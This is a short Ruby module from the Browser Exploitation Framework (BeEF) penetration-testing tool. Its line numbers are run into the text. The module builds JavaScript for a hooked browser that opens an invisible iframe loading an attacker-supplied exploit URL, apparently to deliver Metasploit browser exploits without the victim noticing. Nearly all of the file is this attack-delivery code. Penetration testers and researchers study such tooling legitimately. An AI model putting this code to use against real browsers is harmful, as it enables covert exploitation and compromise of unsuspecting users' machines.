#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#56# This is a dummy module to fool BeEF's loading system7class Msf_module < BeEF::Core::Command8def output9command = BeEF::Core::Models::Command.find(@command_id)10data = JSON.parse(command['data'])11sploit_url = data[0]['sploit_url']1213"14beef.execute(function() {15var result;1617try {18var sploit = beef.dom.createInvisibleIframe();19sploit.src = '#{sploit_url}';20} catch(e) {21for(var n in e)22result+= n + ' ' + e[n] ;23}2425});"26end27end282930